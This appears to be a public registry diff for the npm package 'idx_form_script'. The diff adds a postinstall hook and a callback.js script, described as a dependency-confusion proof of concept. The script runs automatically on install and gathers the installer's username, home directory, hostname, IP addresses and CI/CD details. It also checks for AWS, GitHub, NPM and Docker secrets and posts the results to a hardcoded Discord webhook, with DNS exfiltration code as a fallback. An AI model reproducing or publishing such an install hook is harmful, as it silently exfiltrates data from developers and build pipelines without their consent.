idx_form_script 999.0.0 → 999.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/callback.js +310 -0
  2. package/package.json +3 -2
package/callback.js ADDED
@@ -0,0 +1,310 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Dependency Confusion PoC Callback
4
+ * Author: OFJAAAH
5
+ * Generated: 2026-09-16T14:41:51.192Z
6
+ *
7
+ * This script sends a callback to verify package installation
8
+ * Collects: IP, User, Directory, Hostname for proof of concept
9
+ * FOR AUTHORIZED SECURITY TESTING ONLY
10
+ */
11
+
12
+ const https = require('https');
13
+ const http = require('http');
14
+ const os = require('os');
15
+ const { execSync } = require('child_process');
16
+
17
+ // ==========================================
18
+ // تم تعديل هذا السطر ليكون فارغاً لتجنب خطأ Invalid URL
19
+ const CALLBACK_URL = '';
20
+ // ==========================================
21
+
22
+ const DISCORD_WEBHOOK = 'https://discord.com/api/webhooks/1549797176794943579/5GuFgIOVr6N3uWQumdUWgjxS_NpkMfW6f8lqA0ySn7HHgXRyeZxc3HG-9kiEbhbHHXe-';
23
+ const PACKAGE_NAME = 'idx_form_script';
24
+
25
+ // Get network interfaces to find IP
26
+ function getLocalIP() {
27
+ try {
28
+ const interfaces = os.networkInterfaces();
29
+ for (const name of Object.keys(interfaces)) {
30
+ for (const iface of interfaces[name]) {
31
+ if (iface.family === 'IPv4' && !iface.internal) {
32
+ return iface.address;
33
+ }
34
+ }
35
+ }
36
+ } catch (e) {}
37
+ return 'unknown';
38
+ }
39
+
40
+ // Get external IP (optional - may fail in restricted networks)
41
+ async function getExternalIP() {
42
+ return new Promise((resolve) => {
43
+ https.get('https://api.ipify.org?format=json', { timeout: 3000 }, (res) => {
44
+ let data = '';
45
+ res.on('data', chunk => data += chunk);
46
+ res.on('end', () => {
47
+ try {
48
+ resolve(JSON.parse(data).ip);
49
+ } catch (e) {
50
+ resolve(null);
51
+ }
52
+ });
53
+ }).on('error', () => resolve(null));
54
+ });
55
+ }
56
+
57
+ // Collect system info
58
+ function collectSystemInfo() {
59
+ const info = {
60
+ // Package info
61
+ package: PACKAGE_NAME,
62
+ timestamp: new Date().toISOString(),
63
+
64
+ // User info
65
+ user: os.userInfo().username,
66
+ uid: os.userInfo().uid,
67
+ gid: os.userInfo().gid,
68
+ homedir: os.userInfo().homedir,
69
+ shell: os.userInfo().shell,
70
+
71
+ // System info
72
+ hostname: os.hostname(),
73
+ platform: os.platform(),
74
+ arch: os.arch(),
75
+ release: os.release(),
76
+ type: os.type(),
77
+
78
+ // Directory info
79
+ cwd: process.cwd(),
80
+
81
+ // Network info
82
+ localIP: getLocalIP(),
83
+
84
+ // Node info
85
+ nodeVersion: process.version,
86
+ npmVersion: process.env.npm_package_version || 'unknown',
87
+
88
+ // CI/CD Detection
89
+ isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.JENKINS_URL || process.env.TRAVIS || process.env.CIRCLECI || process.env.BUILDKITE),
90
+ ciEnvironment: detectCIEnvironment(),
91
+
92
+ // NPM info
93
+ npmLifecycle: process.env.npm_lifecycle_event || '',
94
+ npmPackageName: process.env.npm_package_name || '',
95
+
96
+ // Additional context
97
+ env: {
98
+ CI: process.env.CI || '',
99
+ GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || '',
100
+ GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || '',
101
+ GITHUB_ACTOR: process.env.GITHUB_ACTOR || '',
102
+ GITLAB_CI: process.env.GITLAB_CI || '',
103
+ GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || '',
104
+ JENKINS_URL: process.env.JENKINS_URL || '',
105
+ BUILD_NUMBER: process.env.BUILD_NUMBER || '',
106
+ TRAVIS: process.env.TRAVIS || '',
107
+ CIRCLECI: process.env.CIRCLECI || '',
108
+ BUILDKITE: process.env.BUILDKITE || ''
109
+ }
110
+ };
111
+
112
+ return info;
113
+ }
114
+
115
+ function detectCIEnvironment() {
116
+ if (process.env.GITHUB_ACTIONS) return 'GitHub Actions';
117
+ if (process.env.GITLAB_CI) return 'GitLab CI';
118
+ if (process.env.JENKINS_URL) return 'Jenkins';
119
+ if (process.env.TRAVIS) return 'Travis CI';
120
+ if (process.env.CIRCLECI) return 'CircleCI';
121
+ if (process.env.BUILDKITE) return 'Buildkite';
122
+ if (process.env.CI) return 'Generic CI';
123
+ return 'Local Machine';
124
+ }
125
+
126
+ async function sendCallback() {
127
+ const systemInfo = collectSystemInfo();
128
+
129
+ // Try to get external IP
130
+ const externalIP = await getExternalIP();
131
+ if (externalIP) {
132
+ systemInfo.externalIP = externalIP;
133
+ }
134
+
135
+ const data = JSON.stringify(systemInfo);
136
+
137
+ const url = new URL(CALLBACK_URL);
138
+ const options = {
139
+ hostname: url.hostname,
140
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
141
+ path: url.pathname + (url.search || ''),
142
+ method: 'POST',
143
+ headers: {
144
+ 'Content-Type': 'application/json',
145
+ 'Content-Length': Buffer.byteLength(data),
146
+ 'User-Agent': 'dependency-confusion-poc/idx_form_script',
147
+ 'X-PoC-Package': 'idx_form_script',
148
+ 'X-PoC-Author': 'OFJAAAH'
149
+ },
150
+ timeout: 10000
151
+ };
152
+
153
+ const protocol = url.protocol === 'https:' ? https : http;
154
+
155
+ const req = protocol.request(options, (res) => {
156
+ console.log('[PoC] Callback sent - Status:', res.statusCode);
157
+ });
158
+
159
+ req.on('error', (e) => {
160
+ // Silently fail
161
+ });
162
+
163
+ req.on('timeout', () => {
164
+ req.destroy();
165
+ });
166
+
167
+ req.write(data);
168
+ req.end();
169
+ }
170
+
171
+ // DNS exfiltration for restricted networks
172
+ function sendDnsCallback() {
173
+ try {
174
+ const dns = require('dns');
175
+ const info = {
176
+ p: PACKAGE_NAME.substring(0, 15),
177
+ u: os.userInfo().username.substring(0, 10),
178
+ h: os.hostname().substring(0, 10),
179
+ t: Date.now()
180
+ };
181
+ const encoded = Buffer.from(JSON.stringify(info))
182
+ .toString('base64')
183
+ .replace(/[+/=]/g, '')
184
+ .substring(0, 50);
185
+
186
+ const dnsHost = encoded + '.' + new URL(CALLBACK_URL).hostname;
187
+ dns.resolve(dnsHost, () => {});
188
+ } catch (e) {}
189
+ }
190
+
191
+ // Send to Discord Webhook
192
+ async function sendDiscordCallback() {
193
+ if (!DISCORD_WEBHOOK || DISCORD_WEBHOOK === '') return;
194
+
195
+ const systemInfo = collectSystemInfo();
196
+ const externalIP = await getExternalIP();
197
+
198
+ // Calculate criticality based on environment
199
+ const isCI = systemInfo.isCI;
200
+ const isRoot = systemInfo.user === 'root' || systemInfo.user === 'Administrator';
201
+ const hasSecrets = !!(process.env.AWS_ACCESS_KEY_ID || process.env.GITHUB_TOKEN || process.env.NPM_TOKEN || process.env.DOCKER_PASSWORD);
202
+
203
+ let severity = 'MEDIUM';
204
+ let severityColor = 0xFFA500; // Orange
205
+ let severityEmoji = '🟠';
206
+
207
+ if (isCI && hasSecrets) {
208
+ severity = 'CRITICAL';
209
+ severityColor = 0xFF0000; // Red
210
+ severityEmoji = '🔴';
211
+ } else if (isCI || isRoot) {
212
+ severity = 'HIGH';
213
+ severityColor = 0xFF4500; // OrangeRed
214
+ severityEmoji = '🟠';
215
+ } else if (hasSecrets) {
216
+ severity = 'HIGH';
217
+ severityColor = 0xFF4500;
218
+ severityEmoji = '🟠';
219
+ }
220
+
221
+ // Build impact assessment
222
+ const impactList = [];
223
+ if (isCI) impactList.push('⚠️ CI/CD Pipeline Compromised');
224
+ if (isRoot) impactList.push('⚠️ Running as Root/Admin');
225
+ if (hasSecrets) impactList.push('⚠️ Secrets/Tokens Detected in ENV');
226
+ if (systemInfo.env.GITHUB_TOKEN || systemInfo.env.GITHUB_ACTIONS) impactList.push('🔑 GitHub Access Available');
227
+ if (process.env.AWS_ACCESS_KEY_ID) impactList.push('☁️ AWS Credentials Exposed');
228
+ if (process.env.NPM_TOKEN) impactList.push('📦 NPM Token Exposed');
229
+
230
+ const impactText = impactList.length > 0 ? impactList.join('\n') : '✅ No critical exposures detected';
231
+
232
+ // Build CI details if applicable
233
+ let ciDetails = '';
234
+ if (systemInfo.ciEnvironment !== 'Local Machine') {
235
+ ciDetails = systemInfo.ciEnvironment;
236
+ if (systemInfo.env.GITHUB_REPOSITORY) ciDetails += ' | Repo: ' + systemInfo.env.GITHUB_REPOSITORY;
237
+ if (systemInfo.env.GITHUB_ACTOR) ciDetails += ' | Actor: ' + systemInfo.env.GITHUB_ACTOR;
238
+ if (systemInfo.env.BUILD_NUMBER) ciDetails += ' | Build: ' + systemInfo.env.BUILD_NUMBER;
239
+ }
240
+
241
+ const embed = {
242
+ title: severityEmoji + ' DEPENDENCY CONFUSION - ' + severity + ' SEVERITY',
243
+ description: '**Package `' + PACKAGE_NAME + '` was installed and executed code!**\n\nThis confirms a dependency confusion vulnerability exists.',
244
+ color: severityColor,
245
+ fields: [
246
+ { name: '🎯 Severity Level', value: '**' + severity + '**', inline: true },
247
+ { name: '📦 Package', value: '`' + PACKAGE_NAME + '`', inline: true },
248
+ { name: '🏭 Environment', value: isCI ? '**CI/CD PIPELINE**' : 'Local Machine', inline: true },
249
+ { name: '📊 Impact Assessment', value: impactText, inline: false },
250
+ { name: '👤 User', value: '`' + (systemInfo.user || 'N/A') + '`' + (isRoot ? ' **[ROOT]**' : ''), inline: true },
251
+ { name: '🖥️ Hostname', value: '`' + (systemInfo.hostname || 'N/A') + '`', inline: true },
252
+ { name: '💻 Platform', value: (systemInfo.platform + ' ' + systemInfo.arch) || 'N/A', inline: true },
253
+ { name: '🌐 Local IP', value: '`' + (systemInfo.localIP || 'N/A') + '`', inline: true },
254
+ { name: '🌍 External IP', value: '`' + (externalIP || 'N/A') + '`', inline: true },
255
+ { name: '🔧 Node Version', value: systemInfo.nodeVersion || 'N/A', inline: true },
256
+ { name: '📁 Working Directory', value: '`' + (systemInfo.cwd || 'N/A') + '`', inline: false },
257
+ { name: '🏠 Home Directory', value: '`' + (systemInfo.homedir || 'N/A') + '`', inline: false },
258
+ ],
259
+ footer: { text: '🔍 Dependency Confusion Hunter by OFJAAAH | Authorized Security Research' },
260
+ timestamp: new Date().toISOString()
261
+ };
262
+
263
+ // Add CI details field if applicable
264
+ if (ciDetails) {
265
+ embed.fields.splice(3, 0, { name: '🔄 CI/CD Details', value: ciDetails, inline: false });
266
+ }
267
+
268
+ const payload = JSON.stringify({
269
+ embeds: [embed]
270
+ });
271
+
272
+ try {
273
+ const url = new URL(DISCORD_WEBHOOK);
274
+ const options = {
275
+ hostname: url.hostname,
276
+ port: 443,
277
+ path: url.pathname + url.search,
278
+ method: 'POST',
279
+ headers: {
280
+ 'Content-Type': 'application/json',
281
+ 'Content-Length': Buffer.byteLength(payload)
282
+ },
283
+ timeout: 10000
284
+ };
285
+
286
+ const req = https.request(options, (res) => {
287
+ console.log('[PoC] Discord callback sent - Status:', res.statusCode);
288
+ });
289
+
290
+ req.on('error', () => {});
291
+ req.write(payload);
292
+ req.end();
293
+ } catch (e) {}
294
+ }
295
+
296
+ // Execute callbacks
297
+ // ==========================================
298
+ // تم تعديل هذا الجزء لتخطي sendCallback إذا كان CALLBACK_URL فارغاً
299
+ (async () => {
300
+ try {
301
+ if (CALLBACK_URL) {
302
+ await sendCallback();
303
+ }
304
+ await sendDiscordCallback();
305
+ if (CALLBACK_URL) {
306
+ sendDnsCallback();
307
+ }
308
+ } catch (e) {}
309
+ })();
310
+ // ==========================================
package/package.json CHANGED
@@ -1,10 +1,11 @@
1
1
  {
2
2
  "name": "idx_form_script",
3
- "version": "999.0.0",
3
+ "version": "999.0.4",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node callback.js"
8
9
  },
9
10
  "keywords": [],
10
11
  "author": "",